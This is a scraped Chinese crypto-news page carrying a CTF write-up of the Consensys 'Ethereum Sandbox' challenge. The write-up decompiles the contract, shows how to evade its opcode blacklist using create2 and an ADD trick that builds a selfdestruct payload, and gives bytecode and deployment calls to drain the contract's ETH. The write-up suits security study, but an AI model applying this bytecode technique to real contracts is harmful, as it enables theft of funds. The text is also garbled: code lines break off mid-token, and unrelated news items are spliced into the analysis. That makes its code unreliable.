以太坊交易所 以太坊交易所
Ctrl+D 以太坊交易所
ads

Consensys CTF - " 以太坊沙盒 "_REQ:REQ價格

Author:

Time:1900/1/1 0:00:00

基于samczsun的解析文章學習

分析原文:

本文都是基于https://samczsun

elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}

再看到其的全局變量,一共有兩個,分別在slot0和slot1的位置處。可以看到這兩個全局變量都是uint256數組。

uint256array_0;//STORAGEuint256_owners;//STORAGE

依次分析函數,找到我們感興趣的部分,然后再深入調查該函數,看是否能夠達到我們的目標——拿到該合約的所有ETH。

Connext推出代幣NEXT,將于9月5日開放空投申領:8月17日消息,Layer2互操作性協議Connext將于9月5日推出其名為NEXT的原生代幣。Connext團隊還計劃向Polygon、Arbitrum、Optimism和GnosisChain的早期用戶空投NEXT代幣,申領將于9月5日開放。[2023/8/17 18:06:35]

首先是函數1:0x4214352d

function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg

//翻譯一下functionset_array(uint256_value,uint256_key)public{require(msg

可以看到該函數主要是對array_0進行賦值,在賦值前檢查了兩項:

msg

Conic Finance:收到漏洞警報,暫停了所有Omnipool:7月22日消息,Conic Finance發推稱,于7月22日3時收到了crvUSD Omnipool的漏洞警報,考慮到此前的ETH漏洞,實施了安全措施并暫停了所有Omnipool。第二次攻擊與ETH Omnipool的重入漏洞無關,攻擊者獲利30萬美元。[2023/7/22 15:52:03]

=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg

與set_array函數類似

再看函數3:owners

functionowners(uint256varg0)publicnonPayable{require(msg

=>functionowners(uint256_key)publicviewreturns(address){require(msg

前FTX首席運營官Constance Wang加入Sino Global Capital:7月19日消息,知情人士透露,FTX前首席運營官Constance Wang已加入加密風險投資公司Sino Global Capital。Wang曾擔任FTX的首席運營官和FTXDigital Markets的聯席首席執行官,FTX Digital Markets是破產的加密貨幣交易所FTX在巴哈馬的附屬公司。

根據Linkedin的個人資料,Wang的職責包括領導交易所的全球業務擴張、監督代幣上市以及公共關系和營銷。Sino Global Capital由Matthew Graham于2015年創立,在FTX倒閉后透露,Sino Global Capital是該交易所的早期投資者。一年前,這家風險投資公司推出了一只2億美元的基金,FTX作為主要投資者。法庭文件顯示,今年1月,法庭指定的負責FTX破產程序的管理團隊尋求許可傳喚Constance Wang和其他前公司高管。Constance Wang并未因FTX或Alameda的崩潰而被指控有不當行為。[2023/7/19 11:03:39]

最后看函數4:0x2918435f

ConsenSys創始人:以太坊生態系統早已超越比特幣生態系統:ConsenSys創始人、以太坊聯合創始人Joseph Lubin在接受Bloomberg TV采訪時表示,“下一代經濟”將比“狹義貨幣體系”大幾個數量級。他認為與互聯網類似的以太坊生態系統已經超越比特幣。“以太坊生態系統在開發者活動量、每日交易數量、交易價值和代幣數量方面早已超越比特幣生態系統。”Joseph Lubin還聲稱以太坊“足夠去中心化”。

此前報道,以太坊聯合創始人Vitalik Buterin聲稱,如果比特幣繼續使用同樣的技術,比特幣就有被甩在后面的巨大風險。以太坊將從PoW共識機制過渡到PoS機制。(U.Today)[2021/8/5 1:36:10]

function0x2918435f(addressvarg0)publicpayable{require(msg

v2=1;}require(v0);MEM=MEM(varg0

動態 | ICON基金會與區塊鏈咨詢公司LayerX合作:據cryptoninjas報道,ICON基金會與區塊鏈咨詢公司LayerX合作,該合作旨在激活日本ICON開發者社區,并通過代碼審計聯盟確保ICON網絡的完整性。[2018/12/18]

assert(v5<varg0

v7,v8=varg0

require(v7);}

可以看到函數40x2918435f比較復雜,簡單分析函數4中有三層require:

要求調用該函數的msg

v2=1;}require(v0);=>翻譯一下:boolpermit=false;uint256i=0;while(i<_owners

i=1;}require(permit);

3.要求作為傳入參數的地址addr,逐字節檢查該參數地址對應的代碼,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節。在黃皮書中這幾個字節對應的分別是:create,call,callcode,delegatecall,staticcall,selfdestruct.這部分對應的代碼比較復雜,我們將對比opcode,逐字翻譯```MEM=MEM(varg0

assert(v5<varg0

}

問題分析-2

現在我們需要滿足第三個條件,即構造一個合約,該合約對應的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字節,因此需要我們手動來寫合約,然后通過該sandbox的第四個函數來delegatecall該合約,從而清空sandbox中的ETH。

首先明確我們使用create2,其為0xf5,我們可以首先看下黃皮書中關于create2的定義

簡單來說是先計算出要創建的合約的地址,然后執行要創建的合約的初始化代碼,再將該初始化代碼與要創建的合約地址進行關聯。

故我們需要一個合約,他的runtimecode中執行一個create2函數,創建一個臨時合約,并將上下文環境中的address(this)里的全部ETH都作為贈品贈與該臨時合約,該臨時合約的初始化代碼中應該執行selfdestruct(tx.orgin)函數來將所有的ETH轉移給合約部署人。

先用opcode來寫runtimecode:

//tx.origin這里的ORIGIN是payload,不應該被執行,故需要改為push10x32//SELFDESTRUCT//構造payload,因為SELFDESTRUCT是0xff,不能被使用,故可以通過ADD來繞道實現push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//構造payload0x40->0x32ff,push100//Us->salt鹽push10x04//Us->length長度4push10x3e//us->offset偏移值->內存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH數量->應該是該address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5

在寫該合約的初始化代碼,可以用solidity寫了,因為是我自己執行來部署該runtimecode

contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}

然后部署HackCTF合約,在調用ctf中的第四個函數,將該合約的地址作為參數傳進去即可

hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())

免責聲明:作為區塊鏈信息平臺,本站所發布文章僅代表作者個人觀點,與鏈聞ChainNews立場無關。文章內的信息、意見等均僅供參考,并非作為或被視為實際投資建議。

本文來源于非小號媒體平臺:

登鏈社區

現已在非小號資訊平臺發布105篇作品,

非小號開放平臺歡迎幣圈作者入駐

入駐指南:

/apply_guide/

本文網址:

/news/10087897.html

免責聲明:

1.資訊內容不構成投資建議,投資者應獨立決策并自行承擔風險

2.本文版權歸屬原作所有,僅代表作者本人觀點,不代表非小號的觀點或立場

上一篇:

SendingLabs完成1250萬美元種子輪融資,以構建「Web3通信堆棧」

Tags:CONINTUINREQCONTSint-Truidense Voetbalvereniging Fan TokenQUIN價格REQ價格

萊特幣價格
IPFS改變人與計算機的通信方式,Filecoin怎么使用?_OIN:filecoin幣在哪個交易所

雖然IPFS中有很多復雜的技術,但基本思想是關于改變人和計算機網絡的通信方式。今天的萬維網的結構是所有權和訪問權,這意味著我們可以從擁有文件的任何人那里獲得文件.

1900/1/1 0:00:00
“NWT持倉賺幣及交易大賽”活動獎勵已發放_TPS:BHTT

尊敬的中幣用戶: ????“NWT持倉賺幣及交易大賽”活動已圓滿結束,活動獎勵已全部發放獲獎用戶的賬戶中,您可登錄賬戶查詢NWT獎勵到賬情況.

1900/1/1 0:00:00
虎符關于恢復PCX(ChainX)充提的公告(2021/6/18)_PET:ccpchschain

尊敬的虎符用戶: PCX(ChainX)主網升級已完成,虎符現已恢復PCX充值、提現業務。期間給您帶來的不便,敬請諒解!PolkaPet World 已于1月5日登陸虎符創新區:據官方消息,Po.

1900/1/1 0:00:00
日本“每秒收入1億日元先生”的推文以NFT形式拍賣,成交價約為1000萬日元_UBA:gov幣subdao

巴比特訊,號稱“每秒收入1億日元先生”的日本網紅TsubasaYozawa近日將記錄自己妻子分娩的圖片發到推特并以NFT的方式拍賣,最終以42ETH的價格成交.

1900/1/1 0:00:00
老崔說幣:比特幣拋壓嚴重,做好長期橫盤打算!_比特幣:LID

大家好,我是來自CKcoin平臺首席分析師老崔說幣,也是你們的朋友老崔說幣shi9527111,老崔說幣公眾號同步專注數字貨幣行情分析,爭取為廣大幣友傳遞最有價值的幣市信息.

1900/1/1 0:00:00
比特幣礦業委員會BMC召開首次會議并闡述其使命_ARG:馬斯克稱將全力支持狗狗幣

本文來自?The?Block,原文作者:AislinnKeelyOdaily?星球日報譯者?|念銀思唐 摘要: -一個由在美國各地從事加密挖礦的礦工和上市公司組成的聯盟——比特幣礦業委員會已于近.

1900/1/1 0:00:00
ads